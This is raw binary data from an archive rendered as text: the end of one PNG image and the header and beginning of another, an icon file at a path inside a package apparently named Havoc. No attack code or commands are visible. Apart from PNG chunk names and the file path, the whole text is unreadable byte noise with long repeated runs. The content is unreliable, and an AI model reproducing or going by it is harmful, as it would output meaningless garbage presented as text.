BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@Ȣg:g_#ߚڹdY dWv?2;Y dP4! &dAф,2(BE@ȠhBM! Y dP4! &dAф,2(BE@ȠhBYt^3y!PA!xϿGNh^#B]_uW YƲBYt2ww! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@ȢB du,,!#dE'd)Y! ,:!KAY d Y BVG!NR:BYtB@Ȣ~e,K dE?;U`~e,K d7T!{>`@!T!Q,B/CSlwe ,y>~ ٯ2%@Ȣ{չ?;S\VZY@峹?;S\ȾheYK!K[[Y@~}ƄB;Fa![zBY |dg:,$YG?,*d+eaZ,4>ܟRTȾx k@\'()d_&! ,[ClOtl',TG-bB/|.D!K藝:)+$d+b{l,_oiY![?-YF0BYZ|_/:,Flg~o~@ҳ<0@ȠhBM! Y dP4! &dAф,2(BE@ȠhBM! Y dP4! &dAф,2(BE@ȠhBM! Y dP4! &dAф,2(BE@ȠhBM! Y dP4! &dAф,2(BE@ȠhBM! Y dP4! &dAф,2(BE@ȠhBM! Y dP4! &dAф,2(BE@ȠhBM! Y dP4! &dAф,2(BESSȄ &dAф,2(MBX!]lAv7} Y=)dM Y='dT٣O>t!nO dl˳B=-d{G{ ?Y]ϟ=0=}GlAVO2! kg_2}wL>dU7-,xt)dTgB<{gr% YO=O/B(dwocv!z7} Y5'[nS2tO=ؖGMȄ쥒=g7~OOZ7?G? .MC* >s7=7oVY%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 B֤dMq"d-g_R}{־f P{ݟXzw'meVEWW w߶'ݟho۶mP{_x{&O4hAȂ&8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y ҝ3IDAT%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8 Y%8ö|pU˚5U|m&"d@[f~׮QB Y%80Zb6nܺu[nܸk׮Y%fJq`ݷju>M+6mz6[v}:J*ǁAfck_|x}zY%80[f^B*٦[AY%80hc:mZW=hNV!̓koܺi^>+ؚI?!eۡ5)[cӿBV= Uk׵c;M[^*OK Y%80({p_cww֗[יC*ǁAj[_YeMɊ!d VVV. d xp~\s2. !d@zVnS+BvuW@*ǁݷf]WMzYBV=$ZX>0ue5'[u*Y%8\XXc8ٺ=,UrmZ5֖O*ǁĶ=vcOΔlƵ`t>!۾C60(Ur omZ|Jq U}fd7>,dO*ǁ֬{_֭ӳ3BV=uߚlF-;UrIm{pցaJ-;UrIݷ~ [K鄬{H*hk Y%8ԃkn$tBV=$jm"uk Y%8Ԫ})dNu8!ZbO*ǁA |:UrI5YZv>!R`=2K'd@R6;~eJq )ȺUrI5>/dN*ǁ[ d+k{Hj}kyEJ8m񄬒{H}d]N*ǁ݄{H;ug {H,6qY%8؃kַuʕ[(Urm6=|BV=m[/Urɵw2Y%8܃oY_eBV=$56 pqΐNY%8}o4'+Wnڸ²BV= r@O.WnūBV= m' O,u BV= md;J d>V֭5+Urb}9trSy/!IX]n|`g˕h$BV= V^de:V!϶UYխغ"d o՚f6i/u#eJq`PR~XO0W\i[=,cJq`Pm0+[qVmm)_\A7F*ǁAw߃k^\ղ,ڪغkƊ$dr-VYf_\/]_V2+RM?ѼmGLz8mQVر[fN6Tmo;+=_nc0wnַ _ne9vjm ??#{'dPiO4A?e>c?`F6wم92( O,='܃{+;@xΟ = O]؛@\zrОF!0s'TȠPJ?dK0`QȖ]zq it\=)w}"u7'ɠDˍN==w}"uޥ1żѰ]w tϗc|{]z}Ο{n ir1=ռK]y]dg{NV_~~(Lӛ/L/*}wAQ0>a첫]Ȇ9r=ǶC6v]_w2(ً 9߯cY󷽰<%fv5޻xƞ:6u,++fvS /ڞ½/7l׳O636aoXK]Ͼ?heNƶcgLkul\y:?|IdҚm50eO^2o({5alK<ضw&=d½M:NVu߼ʹ W}]>Ɩ->ӇzgwvkVNFRcc\fc} Y5+s^S O50g_[a"[;Ky=ÄZkoUfc5S.Y>o1fcgf_+e'?ȇ}om$ :5 S0 ;M;v/[vVƦMajذ]wwٻsR:jXk*֚?h6}oŧM=t\kV:z_}Kz  /p Z߳ }}}YwF2}yםŻ?]x_evny׻ߵ-_|Z0G+`c6,7Io޿;xw~^_fGZ N8qG::3Sgx:H1HeKf6rdDŽ$kb.{{͎ܿ&DtIW69w|;&m93cѹgcCPo︣&ʝ8fM>j A=#:bTűb֡SЄ!h㻤c=qd(0覎;wB(0&0$u`aW8COܿQ`;jQf-:ja`3f}) -'tÇ;pE 9u"p 5]tn!n 0t 0t;b7`]7_ )w"p )w"p !vn!_n!n 0dt;.b0`0`›/vp xn![_n!b.b7`Н7_ E {"p {"p zn!_n!{o ܀ݮo z}"pt.b7`@/vptn?|\W|0u;Z6~"pt?|X|0 0u;V|0kMh!p"p֤|s 7`@;w~܀]wکoR^ w}K R#/ n4uri n| v܀]i'uЕX0?wbm߼Reg@l!stޞi;NaÝw78 >_L(en.4r.@5: >n|!stp"w w%" 60-ܿhxH̢_l0T/rwins/J 0fN+E0v`Wi7_0/JxIy7_ %=3b7`tӗwMot.+q,h$/tKN-emr`@w[xaq/&/>| 3C>;HjrĢ==n0ff/sK^CfQ{;&[-|%^rr޷!na]=+Bzד"%km/,c-}m5"o |_SRo"{p+YWO~%v!sK}rfd#sw`@—|v MX1k;0d>{/^Yp 3f^gvhzlB|nÆϒM~S"o슎}>zdP޾t2hyC?f%/Wڰί(K(i @,,?rԈCyzFşF÷бX(̰{/(Kylp<\': %홾|ᲮÓg0F}xs 9Oln;G1C9zxnM:z< .閣/dŨE.r̜Cnalpھcňӏ=PKN] 7mFx'& 7_ F7؃:;'dFG3.r7t1/k^5n{[1Ŝ :[fx *=;lzǂ r9H);}|>dekNvl/+Agٷձܙ aǿU .'2\~ gig,w+6ͯݔ͚|S&:̾O~_Y'c5NLzf-Y;l5k4+6Ǧqxrg6x76ge#>+3qY Vǖ_¡t5&eo;+hQZb]m9;z9+f@}_ձr{&f??~C=7/acg,kA[z{N2{鞇 Ocph#f}';n4quͣFY#&/促p[k=}$:=U1f>rZӇQ/Vu` ӳJsԬ #F}tk^{o}bzLra{h>o5jE۽0bî2k Ș;~шQ|n8d_oă1:ɨtDt鷞f](v?ccIctQG+鷉{;Âb^41Rth}cl/=㎚<+,Yg~3,,@+f ?v?2r+?ݼb~g?^GkjOE:e\՝!?u)BFL2CP`=ᚥo 햖Ƚ!dt^ ?!!%i?zFN9>tQ#@,ۻQz#sؤz'~&v$&NYt>:ck|1/:lw_afM>"o==\zd7`IVZtć~>ܥtYG?|T!cLfơ=m>tg~3 Hs%ܼb{U ToϘc.q/Z4ywhE?lEez{FNw{u!C{ӞKgđh˘{]t=zdsԞ3V@r?cGIENDB`havoc-0.6~git20240910.69ce17c/client/data/resources/win7-vista-icon-high.png000066400000000000000000003624731467014221700260700ustar00rootroot00000000000000PNG  IHDR =PLTEGpLFsDsIt@WK>d;l`AqRPGvn3:`|RP䅃TQ芇wclUTs21t10pZvzURRPjpjgbeKMROurZ#"}{BJljCd麛y銆u20ROZ$"jgy|Bu21xW"芆t34x犇xs48yxW%xx䉉|q6?,Q|o:K@݉7׈'#}#z۸VUቌHY2]u:AnHfebr/ep@UeE*};uPm])+zqzBKGRxdЭƃjdp힌Y1̉ˡӋ~GOnIhvkMv3uI\ǖƎȻցTbi^BԸлXi;;ϒ^nvf@Yǎk(sRKT+"_Rc^0̙1,ryj(Ɣ3XRs@(jcR8ifa8 fYfe5\cZLbRnp4fP?,ˬW_Ås'J/Dsg({,QYYY /XdD!,%%M#LEٓ-ʬFW_r̍1/ݍ!|HbRL 0>2yYYY KKueň\)TZ˙i,J?YŀϜ( 1Bcf?Mw^^(s*fɞ@|l0N*_;˜UVIqxs23WLYB EXYY+#9aYLqClg8z 4ݖ9eclP ew ,+3;1G#glܸp2eҕ1e{'@1 ޟ*cZnd^L% `Uxa$˨#flPcc=e7Z.gP)|2nJ[*YN bS̛a4(*_EeǜeJ-ffL@Y b,ʬB혞SN,Ex19cӁ&aƿ߳3U 2b0(zJȎ}c?i1IpÇey2ٸ6h, ⅘edVVOSsTC.̦1eLvl!l8p̴ScYew{sZYY #رƜB ل & &H9YM$ 6 m5l'zV̎ (ZWJf 1ǀepMܙ3T])ܻ܉8cZbе9fQfe5ǘcѻ-tiK"r E7v$3E4eK5')ucSlr4edVVOXƯ1ݐ pG49!sI)-3[:1Wd~5Cۜ3ʞPQnk-Oʔv!l"'Ncƌ"cCryˬ)zb hTNcFT}Z?3Eؤb_dǔьlde~+U,zh'Se˜Dӵݟ05Ęriً4?)1a,QaˢLĔW)G=j|@bn0lIfec ;_n9ʘҏ1;686eS`SM{`flҤXes(`eTo3%ʆi`e5czX;{!(911fc2n4_ˠMֱz+UndVV)Kիʑ k6jy$1؄L^!~1)¹ܔD9En O̔yی+] {ͅ gR=O˒*~EXC>viN"Xi,|vlg:s/]k.X H62͕ P6X")` {-bJL黤Jqni&5Q6+a7Pы{j41cYT'.ʩS,_ڒ7侹dClD\N(_/$wm̨Rh d7:d%U<1io.tGKF~Q?Ŧ.X(fnnznl1u ḍC_F!Obkna1-)cLUO˒*\sXJi\!ktLZrc$QMTKbp0##wɲt1FPbiiX(Kռ$fƙ{rCvxMGQkQ%U,͎9ܘwT,y\*)/OrcupBPFnd@Ɉe*o2}&+SꍨQ4WRLMr M7dZ+)+js 3U t\ƦH3D0~l]nh]a0.\.#cɲ+WʘnlQ,S&%S1HÎ؎ ˉ[sv*ð2%ULXÌEޤVYL& 06q*QrlԥcF*Sr9weNS@YL8d,_9VVI10m;Nd?ܕW+ZYYWt;3I(Ӎ91&CcbO$Mjc)!BB6]x+d^zL-W11%m$ qiF{:-/SfIfeM86'>1kaj>eՃvlalTzlq{pE. /._`N2sI2m'gǃl`V. ZÅ0-' s*&y}dVV {b 9KT3qٱ*;6WcZ\) Se)4y˓Kɍ$gbLcʍ)h3rgNHYDVv)\jIfe(3Xjj;&aXYt;U+5?&sdܔe.[L({ӕ^ᥖܜĤ荓3cn0"m">1Nv%U,Ecpc|sc"˯O\07+c&ĸ'˨]PuݕISa2|0e}QR)"vmA3͒*fT )#r+cҍT둦.X|kK̰Cɘ)[LcE4 t둦Q*e?V\)QVXXѴd2 ٻzmʌAe)~iKc26IE [/ ֜S^4޳^@:R=d $z;;1I!𦋴Lr$3OceB ;(W؜ eiMAeˎ ⋳`KΙ pEcyNVѣW,%3@aeyDr zǤe W/rc˖UԂ+[D3U;nIJ )Ġc c|oNB(Fc8Gx-".-ɬ1b̤ܡE2Tƻ(VFoD?sȕ-[@ٻV8ӖҴct;"vX¼Al\Uݢт^Ӕ(Sm:,ɬe+5D=;Fn bIگrL/@-]),n WVQQ}uUK2g+ 1SܘW,edU.(6m hgN1,OW`di,%ճ#0G8ȎV~m̅\WI@#e̎#pEnm.0WJTfI}Rkc7q r<$͙xɒ^veTi;n$> cZ_),ɬM̎SlbrL,r X 1* U4+ G"'Cxו(˗ioV;al!~1f.=dra5tH#6d $z61WHiuf/vl +byeLe, n,c1͖eWP/ŗΞzs#pMb)1*ZIa%qofdd.[ؘӵp#M&;aԟĢS2U=w*˯.ƫ}wUr*%2Bd͘2Ha3w2NT3%Eb~N=c0s806~mIn(a ^ Wj+d,ddV]cU3M_.HZ0 e:e˖-"0BVU/UXG|eʍ1>h*_Ǹrǐd-}I^ Q, /Fbҍ9{ܘ1tcyfǴ×sce\xui2gG+Tlcf\ʕ.¸u,.]vҷ"iZ:LŰds{ʟֱb:2@h %M;sת~us+ڇ_~ᇟ}ן>7ǫ҉c +C7 !XlUpHvSwŜ82@?\ p ]v;&opc_!vv4.^]:x0jV 8lB,;Vjh`kgwݎ?OOv۲emMh^{{wF~o-|abz;_Jaz׍Ȕ(Bwyg~2'bo?~n= IDATOY b!T7꜁yQ2O~Ys.]bŋ9d 2 'o}mz'7b9/^qp oC̔]'W؉Sk'LwTD6n{=W{nP_VxXQԑMX1Ja lZKc3fضO?@!W1iǾ7?-ctNWw(׶عnvWdn/qs",1ĸ ˗O20Dab1˗8c?@vL\^a(+X0?? OŨ2]fb, TYǫx9]IdooTףLYֵ?sX%$ q J0d̏C埉sA8#fʺy|)H~Y7eRcX}ϓ'1.  DTx0xIE_Ja}eQcce*c~.0g_~a ?~?oRE`Ȳns;&0/99B2qzAJ}r$dD2Hݖ(oq!Rŕܐ 4h [񆾡;;2ŲH)COv@2ddt#1~^fS"F(~Se#*S#oT+c&S&1͘mƾtp ?A2 /Vcv 1&YX([@)+O /gAdȕ ;w]){HPe}˨`plz^)9^( N$ݯpMz2/^,U鱴ޘ1'?رt;`%z2bd 馌<{ eٟ֡#,#tQv2Z$sef Ƥ!"Ľ'˗Z_#.atdF;#M6.8ĔB).)b4k:?eYJ֓e4$X4b'(&&x:>"U)=J0G9 cC" QnƵ Z œr~S1Ȗ9Y.! Ļw$z>` ݩ(;^B6x2vMʐFIx-APkJ>n? 5;JHRdc|crkE1h[Ícc d.$F{.ɠB %he2NI2'څdoTxE&Г]w46He7 ]3uq̆IIz'ecD^4xe_}c;88`AAO A=rLa  0<' Wԟ~x7Sd~cqv"W}vBy2ȩ] dG.5@qKƜQƆa-qZ1L3HI/g4|X1 g~쮉1c$tѦ]V^v (28p1K][JdJ2x\ idifg~lǕbAH<ovӖ2S%:Hfx2J(k3Rfwtv[/L5G3ZAsg1V6 JƓat9l+Ώy1-92٦+ +c;Wo3 vEgDn8vHS@(Hط_`8 S9 X$DG#1npԚ̲1)k,AM[KQxASeJQkȗnT}glY %Z1;exZԘ~Lm9{޼Ljc09R_fǘX`WcjlEgPG ꣿG'޹ż-lH0%PC-Ɋ>v,?Ð?2DٵicL3BA8}Fѧo0i]&;P;8`ᇿ%aɘ'`ʴ1)/Mf~lkαOL;Eq4] ;F(;&%Hj^"s*p9!Zy $f|l]qLRW^^L!Kfl3lTѠ 1=oMqps^ Fgڎ1<يqkC1,Uu^xp,Ul;{żիc״b  ~oʰc9+GNԑ-v(M0+ /?]"Uj9`dh6TA]J5&d2֨":%%z )ڨ}hx57 ̒,~[2Mo{cPS-Dpb^.iIor;7Z?^*˴1@47t>{$Yˤre<Кe`ٓ>u1KDLx“Ֆ]z6 + 2 mQF*wcʹuĕ"(J2M6 0%SSS2R03Wdˆ%CɆQpՏy/74]Ę&b/ŽȎ,k5"*qSvc10X?($;{2 Y|Q(wk#W&I,{=Fp NY8F}W_5&8 's,#sU|:\(ۨa`'ԻU香dq(˗_JXTciH ;︊ν[?%U GuıA,$ /%e$rC2e@2(ΚI?wezIa' )Nc}d6"Z즊{ʣMʐFeR-g&|)r [Uҕa\F GX ܏M|c~k1exvOWH7Aa7ZX%n{ u7f$,p v$}A{g"ɒ,+ur5 bbo:2αsN'h]._Sf̈.7|U5(mT w`&_&S֕ߤШ߫ÙLdA҆I7T,JzSRcrb˯(VAɑcyW›/ghcF߰E.m{lzg9I-$ teȲs9q >cXK_Eddg]>I<8aF-vVM{s6_cq<KJpּ7Ip|gǰZ06_b3۱ob`ř{?zڍmhO&7 o8NJSty^ MYd;Sɘ+C-ct=J)s_|GɒQl c'w ]YI Z޵ ,\[1{7tƤPv,s _|c c*;vF&cq!0CU+?>'5xePy[RM Ɨejsc*BC 1v>b*I` \+T]:tOOrmt~I~=b1ߵ]:2$d-،1Ǟ+ccpLO0qY+f|ێ99;-h/5i#\$edg]KL$P(R"LƲlbV7 ߙoqY Ug,.!MvM&s]Ԙ?/Q"<<9ȝmLs$ o0h|8beW&2k/W}an);7pJ9TUC}Ye mÛ6d<(K&ʐH• A63/(eL"dv4J (GyWlFze,ʜJv37RcnIEc.^c3;+~=/XHv,~7ƨP+W+́͐Q'AaOe%p%UzN0(aev~W^/y2.~W ृӒL @6\*5zGC3k(١&P)^qCw`c4;`3!#?6a+LY8oc_^~;uʎ%ȱPX#xReʰ)^ _I݅7Г]s$}q7ߟԌ2Cy'3dh0q[7L14Ofv2A1E_iF.,|˷ K YR4j;6)SXf0Գc \g^? ,|%[1{yz&q6c^!;6e\X %nByWjkl ̌m9&(yz2H+2F+W,~T@3('z ,Q'<.,p3' 8̖ 5SDIf7", ?6F +Y`9Y]c?b/(ZyU +xǎpsQ ڋc[8(WvL70pHEm~~v>X1pcOfvOT0*ɎR\HFsJ-n+ı?f4f,j ?'C9OAV<}Zj%68֟J,qÎ^LDHMɎ^Iv dBk ˿jg}"ۤO$FkɎ^U~ KޟV&08̃ai&M^D,ofI$c>FmıV2O"wߢ,\njQ+E3QǶɸ̗1zK&F}a@F[8"וv ¨+ȅ'k+JUsɼJۗ6 ńIJM3/%N0K2_%]2n?˕b8pLر3/t%%3c"7ɔm#iLy/$f;Ku]4v ہ OFǯ%l>{7QVl ۯQLI|v~l&83hfZ\l!,[zD;ʘx3z +f}z͜Mq<&Ie_(IfLL7ez?MB׻ ThC}DŸ&dbX0H#Y{G m/bڳA 2c$Y3/ϯ2ڸ2w 1|׫je}bS`rȻVbe;c;*[xM+P&seGђ{W/5a\ )۹qkzq[ -w&˒7Ɣ#@Sm/["ɰ9Ȗ.=ÿ$%1KDW"^al_/P.Sط1}Qc- m7&dKZm1 C^5LC1[p&Ѻ6'SnqT*@i&+3 >[dɯse~Lc1?&c cz^L}1 ΋ ZdvGڶb굆2A2(+5kN<ݎ~YJ2ƪ>rv,Ч6'i[xa,Ev #~,cisM[v-X6T+Ý֨}+ѰId IDATcǎ^~sETMhx0<5B#'TL 5-ֹɄ'KvOޯ/tM1]~ )ߠ0s|﹐ qMiB MWYlYVlްKA?Fa%EW1C6gڿ|sW Әݎ]Mge(oecҌyPL`"ʎdx2]Bxyg "ePʒïʓ4ܠ2!PR 1!G??Q|O?"mg=ΌZVdÁcN99x~,]qScscS]#s07դ#sQʻ,Wnf1C?4S<2>lTTDxgb?J;Ƕ`nA1dׇ]ϯ}Pƀa@ӛ6e,b(=LJȈWe?3%X*y~l T+s澕ZIv*s Llhmg|y/U))QL~6iv aɒ,w_nO!R Xf&7(K<&q%ׄ?(sL8L"Y<(Ks|L+X^I2E,hL]|m~ͬ($XcɎ]a~<#nI *y*6BSld׎u/`d7LV̉Gn/UW[_1d|ե/.cwZ%R @Đ_ 50g2vmT ئLޛ jh,31fIPo =wYؼ]4cלMObұ[_"~$Y~-7gƴ'D!]"v)>=85|m5MI5qJ__'Si2n|dn)7ָ11W_~&J5rg f7Cc2f5Xő/ >h|ϒLWrlưR9`9~<] Ǧ؂+-ٱ8ȣ64>Ўz(t]7_ɇ'nga!'b+\9x0;^`ǥp(RtyVȉٟ\G{9P4 _!{/ˇm?Ŀړn/򋳿/nT_4/bpp}KN]yw:Y+]P+۴=i܁ؿfI*?y~ȏ-_ܬ1n]F"{q^;%}Gpďb?ԃd BuHӚ6vVvtuI*s*9 n`C!cUY99_5h}RiyH^'Dr_[6&~3T su{H!2p~^dq%Kr32Ёt {=IH ݇>;v8SW[YákZ41uV$^ [zgkDG}qu&qpJ4b?3ec Q3WLcV2;H:nط[پ}1UV:HY8J Sّbvl>8/1ݾ̎bvpT=yPSYS}=c:Nil n>0殶>Z[[kW6ձ_=xPVV9ޥ(߼^L,QbdyYyyU9{*f`;}L?8Ӂƾ}!vg\p[cIt6o~߭ѵ9ƿ}=cٿ[2$b)%1fgh .eݏ-F;.,,L4_W~l/;j5uqe.B^S_E$6 Vy'E25 ٘49Τ¡p8=o͝;Qq`J` @V$1fgж!͊J6('7Q W Ly{1,Q 2d[fdBg1JcюAX 9粪Ҳb#=V>NG7+-^UՔ(D/مKƱ)*qA|ך\pYQڂ$ W#ȓbMcLU]55cuu4ݬmmb:SPP @@#V(ۧ933ѝY'8}?K:Dr, ȌE"DrsCIp,~`rc1x_ǐc=I\BbKekxl/À'j/1a`{2 YK_gSRZ^$Odd]'XwBc%XG,#,Rr!iZ{o2! I 0?oIfkȚL2;7%e({$N0?6{ڤ9S2?̕ĕzΝ;}1L`q,Ws#86c3kn,:ЕDYVDOvz'ܔ57 ~'FaEDg_nĔʸ'kI0L$CO="y*0VLeT&{* %gZ"'k&3fF 3+{b`L,z/d0b7#Cҏ1sx, +7CTY 2ϰ2_(+OC7o)(%/:O$yAegW[1x <X gGewdj_,77cW.2= 20gWU+K)X?_0ȴA2dܔaB S˗'*;6m!1 cdɐ,Ɍ2O֫{=O S&(YnUc,˕,nH|^LV`άP]-.bӚ2F5Ƞ"V.Iؑ3?v0v1'TzLO1t9;S>DӲP]բ.L$I21*WNi[ɒ]FzuOvhdxMY`;-J& cc1MeiO5e0=d|$|G*rCd :λPU+RRY %-.2Tpe3Svziz: _FJÂcyk7/ɓ>;cd,m3d 8>Z)8]2ܱCǎZ0gޔd2Ú2T|AFCS js/'¡^I{W#;[̂1LV2~,'mXXFpI,Y{"z-c>wcl 1e"āГ%E2M1ߦT1 ˹p,Ԍ5wv쐎2gޟLb MdB d"o+ё-Id&r̈́3Ec,<0Ϗ!fÏwOTe9e8S6_&ru# 1euO$KEѡd Cz2,&RvWأG }{U,N@тq^͏ySL -vdpqhd vƊ?.%e1QʚWdTŘM2@^Kgl} `gkF)Ȩ G6s-ղuw"Ǻ?FC@ {@cF7?ر E>R35Po,\ČO}fДp?v߻Uر:&RtS&K8dz߅ĸe?((rwv:Uy SlUWz0:e#e6Q N+-)?Am:2F\f$ gȁgkog ~prRY~|2L陲j[%5LY$SD2\ v`8rgk`jUޥԉ1v6 utHj9ns5JMg;[[ʔ+e1Wʬ' ;IIBr vd->nW6mo,Z_ؠrsW($DYQ\F^2.#Ҕƕ)C?F'(=9GsÉ2dvY̆$8 CCхgxs3*+xb~ 2%LS2^lă@r_{3\LlcΞe ;[i.:>`]aLYߘDKB7I_[|-psIe0:/)2ɏ]6'ӅAB"a'5e˔;}Zc]ITΕ+(s0Yl3NQ Dh/^˓ /\5 /c%r ǂ`2Ŕ)e*OȔ ~ H՜X+# OV3[E'-&3^{2VHը?+~iMcI{ Envv*,3 dhe؍.G'Ȩvl!9,̈cጼ tkh?~r߁#+KLzLJCW2-QV^DSʪhxdiXfDnF$cq171ju fxty Ogud[ZnW1Ć ZZj]tkM[vXL&Uxidc64*AQC, #md̑1C+孑Kȏ5`~=(ӖW=ZR=QK29:V/aLnb.aȢi7V OQ7=l vԅ'c>]n"ʧO.r jZkIA;EV{9eT~VgƗL4/ytcѭ & WR,4sdN9%qP d'ёds!cOA2/i}_.:W=|wLz vî=w*[P ̛߸qwa$cBq iy!uMoͥ)45'VpGjO4:;;{ "`+5].k3LYO8=FF'RKKUJKƱK G\'pr&>|;NP dz2_-Nl|)srdc) Ex٢-Ӡf;lRLu&W٪J[Svh,;Fjb8kYԄ,T5/ɑ-+P&Hב/y-G;c0dPL8xvɇ)+ٱbR?Q(LYq[e]𲭫 ΗSMp܄NR*¡I]vegl2擹K3T88n F*X!5' BZ[;{qc_).ھ`P8ƈ\{.thϨ( znȕyĠoA6BA=Vq#C|v钌࣮dL,E`y.sd+++.vn$J%?t FǖŗUzxIew]pX WZEEMĘi>u74<%RuܓAO*Ό) p '۳CK9&;X86`{o8n𞔓guϺ: YP'˨VȒU-z3Y3J 2LHY|52BAH=2I g9D1=&YE/EKY Sfukm̏½wܯS'nܛIs+㖌.kѓ%.1Ovsm˾:쭀 uva>q3Vg 7=3gCF[@Q,wf=F'БPLPZHK-xgaF=`y^,{]%Oۏ%_BtYʇpPh_HJ//+.S@w. Q%.k1Kdf'vҩݜښkx JaJ+V#tv@d"nU6} 26b`Ǡj 7 2d8W7qdX ~{XN+9NKLݽ{w8">~s,~OV"^ﯭ $7p'4U'Rz쐜ÊUP6_IOƾSbb>.<]0Ąq81X\lL[9c'ȎR`RA[ x f8Y'*oE~ڄ6v%d֑Hy'#KdNDZB$zʤqmnwŸ %OK(+?lF^ eV{ӊ}/ Qʕ*Fĕ\x)'ʐdPKYrn0%>mm'c({o`ۅ Zbڊx7})nJ\ ~\ŀxFB)-aAfU dO7|4@æQmd΄勗~NϻL7K V Ƃ2 $dK Āɱ2$z8* ~ZC0QPAGķ"QVXwIyHF:'EܼsgBHbdlsh|vaW[yMa&VZ;y4,reB_#[dV#d^[h9 &{(1GX Oq%lĂmȎBvll{}dA,*r[V_RIیFt/߾c1=Vw* N(r.wM7Mf"ίBD/zwqmwi ܑhb ,ȳ~!e|%#ξ._^'y (=dvBՒArd ۣU~F2ض6 svڍŗ5^'x`Eر}{ʕ>VE~J۱Nm()LГ螌5|4/TErpL @ˈqcŀciv۷S7CJ~x Xha\&aso,xJO b6WQV-392O"R 2o㎬(PM2X^NKuO&I56ބk p3d^pu3,==!C*oelC3]OAxC-)p%8æ"r٭fXȏu7[dž1UrP5pLL3ɳCN n:Ĝ8 P([>gkt6ùȦ3GFb/rF?,y`d'9dEr!k 2$>lQ)_GK?$˺h W0?v@1%v킽˵6lsʅ'dP$=ޝKe*{30ƝN>x4=.x]5gJ3qFSuO)8 vd> 0=z-p풓lRV,ʓAxP)\{rO\edP4ٮݕbu2mHpqv:HFnLޝ;!VDvvQQYs }שt! 84 `BE/eђŮ'Kfsdd"G&Κ.rd ŪZ+eS`} .M,3ܐmAG& CDZeҔQ?2+X:enͭb121ZTU*X7hL;6㨶 :jh㽱U5ȩ>i WuIބ8쀶_ pĭN`(7$E|9]sZ:ap (&+(s‘ZNeELGD F^<$ar˶-[ȑ i~L)+%^BoLR ): OU'1i*WS.JM J u\̓mAƣr"-䢟 F]3ɓVɺW6^4{H8Ⱦu^+XM\ɹn 7XKctHu8'j1l"[oNdC,"NAc?aCd - ȑEˑAG?&bMA(#?Fl1RpWKB7rI2i"Eu-r7+wrsb]14enP&kڤ}b~l #cYs 0|_7"T o5dseҌiɰ܇)7VfX9hdg?4,ŵŘ3a9̋|8rl˱-[xh9,(0J$2eXWۺ3LL;VUk+Ŧp` [2eQ]VQ?٩]fq$YA2 ڦc:zhR|.>1DRT;:*%:SLk!j?C<NJr)hf̑E/ZC3!@;T,]c dg) (oO9l3K0X9z2 ʕ: @7]T i"Ns@4mƍ T݅Xw ]5jO$'Kn6h)eBc;O[ ~ ]m{k$ݴ']Eߥ]ž4V-;0|&96BAj,e>L %7NXXhCc29 f`9Qjy(_VWUSo, h:9V]I3{hXqT'ۀ+aedFtyXlorI/!;yPv]~J1/x`aJZҌTY-LZiLGZRUkP?FȞ25N~q:ucPydpzޚ;f:/dKFch&ٰXО͘%J OtH1Q3'N1α*ӏ!tCU)RɊJiyؑd],P&2e͢XqBqlg/NZcUe g\֒g2uhWk![/(LG'Āؔq -DG+,h%2 {XRdIaX !/baeyq)3[jxrL` 9V^ -h2͔&"UP!;|7$tGS@2O3By2D;F%b/}f'1ט"ʄ7+$FAX4xKfc<|1bOW d"m-_F]/^sG3dѐ$c[Ah984S"揋)OVER;fr9VI|E ;!Jɔ .(to$sG[0x dcaC8#ci3̝m?q n|<%BZfЩ͗`~ g4E6 @Pu_qdܑA7QGW%2Xe,9Ǝqmrpxs\ GY uXªxQفNHH;&7|mI%ixt)F%+ɶo< ٔdp")D?8c*$qBZW9&f !p8QG5F>vPP?F#Z˔qT$GFk-,^3dPu0d=Y`Œdȱۚ#S ~[/.`SIVNu,ՈX8pѩ\18ʓuvYmʓa_zZv Wh6d䁥2<;{[Ƚq.]ϲ~h,qJ?Y:;{ *2:&;寺<k% yvk,<&]:;):m#uW!D.}T.Ϫ1٘?QRdcT1l ǫdhH}d[Dcyk-N B\M+DRLxMt%=mþɡVq+ shtd,dr"ÿ5YWp˜B2Ƭf>ؽsw5Yo҅+47)?A;(3 Y͑]AzKȼsd^dXΒ 2!YA.uz 9垆@JEE6lAa$5crl=dӯLI26 ~5vs%Nt@qUwk,;T(&B=(q foݻ,c<>V.ḻͤ ,2q756A6Q) 